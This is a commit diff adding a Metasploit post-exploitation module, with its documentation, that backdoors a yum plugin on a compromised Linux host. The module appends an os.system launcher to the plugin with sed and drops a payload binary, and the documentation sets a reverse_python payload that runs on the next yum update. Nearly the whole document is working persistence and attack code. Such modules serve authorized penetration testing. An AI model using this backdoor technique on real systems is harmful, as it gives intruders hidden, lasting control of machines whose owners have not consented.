Addition of yum package manager module and documentation

documentation/modules/exploit/linux/local/yum_package_manager_persistence.md

@@ -0,0 +1,37 @@
+## Yum package manager persistence
+
+This module will run a payload when the package manager is used. No
+handler is ran automatically so you must configure an appropriate
+exploit/multi/handler to connect. Module modifies a yum plugin to
+launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/
+will show what plugins are currently enabled on the system.
+
+### Testing
+
+1. Exploit a box that uses Yum 
+2. `use linux/local/yum_package_manager_persistence`
+3. `set SESSION <id>`
+4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed
+5. `exploit`
+
+When the system runs yum update the payload will launch.  You must set handler accordingly.
+
+### Options
+
+**BACKDOOR_NAME**
+Name of backdoor executable
+
+**PLUGIN**
+Name of the yum plugin to target 
+
+**SESSION**
+The session to run this module on.
+
+### Advanced Options
+
+**WritableDir**
+Writable directory for backdoor default is (/usr/local/bin/)       
+
+**PluginPath**
+Plugin path to use default is (/usr/lib/yum-plugins/)
+

modules/exploits/linux/local/yum_package_manager_persistence.rb

@@ -0,0 +1,130 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Local
+  Rank = ExcellentRanking
+  include Msf::Exploit::EXE
+  include Msf::Exploit::FileDropper
+  include Msf::Post::File
+  include Msf::Post::Linux::System
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Yum Package Manager Persistence',
+      'Description'    => %q{
+        This module will run a payload when the package manager is used. No
+        handler is ran automatically so you must configure an appropriate
+        exploit/multi/handler to connect. Module modifies a yum plugin to
+        launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/
+        will show what plugins are currently enabled on the system.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         => [ 'Aaron Ringo' ],
+      'Platform'       => [ 'linux','unix' ],
+      'Arch'           =>
+        [
+          ARCH_CMD,
+          ARCH_X86,
+          ARCH_X64,
+          ARCH_ARMLE,
+          ARCH_AARCH64,
+          ARCH_PPC,
+          ARCH_MIPSLE,
+          ARCH_MIPSBE
+        ],
+      'SessionTypes'   => [ 'shell', 'meterpreter' ],
+      'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' },
+      'DisclosureDate' => 'Dec 17 2003', # Date published, Robert G. Browns documentation on Yum
+      'References'     => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'],
+      'Targets'        => [ ['Automatic', {}] ],
+      'DefaultTarget'  => 0
+    ))
+
+    register_options(
+      [
+        # /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos
+        OptString.new('PLUGIN', [ true, 'Yum Plugin to target', 'fastestmirror' ]),
+        OptString.new('BACKDOOR_NAME', [ false, 'Name of binary to write' ])
+      ])
+
+    register_advanced_options(
+      [
+        OptString.new('WritableDir', [ true, 'A directory where we can write files', '/usr/local/bin/' ]),
+        OptString.new('PluginPath', [ true, 'Plugin Path to use', '/usr/lib/yum-plugins/' ])
+      ])
+    end
+
+
+  def exploit
+
+    # checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable
+    plugin = datastore['PLUGIN']
+    full_plugin_path = datastore['PluginPath'] + plugin + ".py"
+    print_status("#{full_plugin_path}")
+    unless writable? full_plugin_path
+      fail_with Failure::BadConfig, "#{full_plugin_path} not writable, does not exist, or yum is not on system"
+    end
+
+    # /etc/yum.conf must contain plugins=1 for plugins to run at all
+    plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf"
+    unless plugins_enabled.include? "plugins=1"
+      fail_with Failure::NotVulnerable, "Plugins are not set to be enabled in /etc/yum.conf"
+    end
+    print_good("Plugins are enabled!")
+
+    # /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1
+    plugin_conf = "/etc/yum/pluginconf.d/#{plugin}.conf"
+    plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}"
+    unless plugin_enabled.include? "enabled=1"
+      print_bad("#{plugin_conf} plugin is not configured to run")
+      fail_with Failure::NotVulnerable, "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*"
+    end
+
+    # plugins are made in python and generate pycs on successful execution
+    unless exist? "#{full_plugin_path}c"
+      print_warning("Either Yum has never been executed, or the selected plugin has not run")
+    end
+
+    # check for write in backdoor path and set/generate backdoor name
+    backdoor_path = datastore['WritableDir']
+    unless writable? backdoor_path
+      fail_with Failure::BadConfig, "#{backdoor_path} is not writable"
+    end
+    backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
+    backdoor_path << backdoor_name
+
+    # check that the plugin contains an import os, to backdoor
+    import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}"
+    unless import_os_check.include? "import os"
+      fail_with Failure::NotVulnerable, "#{full_plugin_path} does not import os, which is odd"
+    end
+
+    # check for sed binary and then append launcher to plugin underneath
+    print_status("Attempting to modify plugin")
+    launcher = "os.system('setsid #{backdoor_path} 2>/dev/null \\& ')"
+    sed_path = cmd_exec "command -v sed"
+    unless sed_path.include?("sed")
+      fail_with Failure::NotVulnerable, "Module uses sed to modify plugin, sed was not found"
+    end
+    sed_line="#{sed_path} -ie \"/import os/ a #{launcher}\" #{full_plugin_path}"
+    sed = cmd_exec sed_line
+
+    # actually write users payload to be executed then check for write
+    if payload.arch.first == 'cmd'
+      write_file(backdoor_path, payload.encoded)
+    else
+      write_file(backdoor_path, generate_payload_exe)
+    end
+    unless exist? backdoor_path
+      fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
+    end
+
+    # change perms to reflect bins in /usr/local/bin/, give good feels
+    chmod(backdoor_path, 0755)
+    print_status("Backdoor uploaded to #{backdoor_path}")
+    print_status("Backdoor will run on next Yum update")
+  end
+end
+